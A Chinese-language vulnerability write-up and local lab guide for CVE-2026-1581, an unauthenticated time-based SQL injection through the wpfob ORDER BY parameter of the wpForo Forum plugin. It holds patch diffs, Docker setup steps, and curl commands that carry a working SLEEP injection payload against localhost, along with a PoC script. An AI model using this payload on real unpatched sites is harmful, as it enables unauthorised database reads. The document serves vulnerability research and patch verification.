| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-1581 |
| 插件 | wpForo Forum |
| 受影响版本 | <= 2.4.14 |
| 已修复版本 | 2.4.15 |
| 漏洞类型 | 未认证基于时间的 SQL 注入(ORDER BY) |
| CVSS 评分 | 7.5(高危) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 是 wpForo Forum 插件(<= 2.4.14)中的一个未认证基于时间的 SQL 注入漏洞。wpfob 参数被用于 ORDER BY 子句中,且仅应用了文本清理,允许未认证攻击者注入任意 SQL 表达式并从数据库中读取数据。
供应商在 2.4.15 版本中通过将 sanitize_text_field() 替换为 wpforo_sanitize_orderby() 修复了此问题,后者强制执行上下文感知的白名单。
仅在 localhost + Docker Compose 环境中运行。
PoC 是基于时间的计时验证,用于演示存在漏洞版本与已修复版本之间的差异。
未经明确授权,请勿对任何系统使用。
版本证明: /community/ 页面加载 /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14(存在漏洞)与 2.4.15(已修复)。
代码证明: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
行为证明: wpfob=modified,(SELECT SLEEP(5)) 在存在漏洞的版本上造成约 5 秒延迟;已修复版本响应接近基线。
CVE 公告仅说明这是通过 wpfob 参数进行的基于时间的 SQL 注入,已在 2.4.15 中修复。在分析时,尚无公开可用的 PoC。
因此,本文通过 2.4.14 与 2.4.15 之间的源代码差异比对 构建,追踪参数从 HTTP 输入经过清理到用于构造 SQL 查询的整个过程——以理解根本原因并复现该问题。

wpfob从在源代码中 grep wpfob 开始,发现 Recent 页面直接从 GET 参数获取值并将其赋值为 orderby 参数。

存在漏洞(2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
已修复(2.4.15) — 同一文件,清理器已替换:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
为什么关注
recent.php? 因为这是一个可触发的路由,其中wpfob被直接赋值给$args['orderby']。
ORDER BY ...一旦设置了 $args['orderby'],它就会流入 wpForo 的查询构建器以构造 ORDER BY 子句。
ORDER BY 拼接(存在漏洞 2.4.14)
classes/Topics.php:

classes/Posts.php:

说明
sanitize_text_field() 仅剥离/清理字符串——它不强制执行允许列名的白名单。orderby 被直接拼接进 ORDER BY <orderby>,攻击者可以在 ORDER BY 位置注入任意 SQL 表达式。recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()2.4.15 版本引入了一个上下文感知的白名单清理器,如果输入不在允许列表中,则返回默认值:

wp_vuln(WordPress + wpForo 2.4.14)→ http://localhost:8081wp_patched(WordPress + wpForo 2.4.15)→ http://localhost:8082db_vuln / db_patched(MariaDB)seed_vuln / seed_patched — 使用 wp-cli 安装 WordPress、安装插件、创建包含 [wpforo] 短代码的 /community/ 页面、配置固定链接、生成 .htaccess 并创建验证工件。从阅读源代码可知,wpfob 在 recent 页面上被显式使用:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened测试前必须至少存在 1 个主题和 1 个帖子。
ORDER BY 表达式,并且不会观察到延迟——即假阴性。至少需要 1 个主题和 1 个帖子。
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
预期结果
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ 基线(无延迟)
8081(存在漏洞)、8082(已修复)docker-compose.ymlscripts/seed-wp.sh在项目文件夹中执行:
docker compose up -d
检查两个实例均可访问:
http://localhost:8081/community/http://localhost:8082/community/以及 recent 页面:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

为确保可复现性并防止假阴性。
# 1) 检查数量(存在漏洞)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) 插入 1 个主题和 1 个帖子(存在漏洞)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
对于已修复实例,将 seed_vuln 替换为 seed_patched。
建议使用虚拟环境:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# 存在漏洞
python3 poc.py http://localhost:8081
# 已修复
python3 poc.py http://localhost:8082

docker compose down -v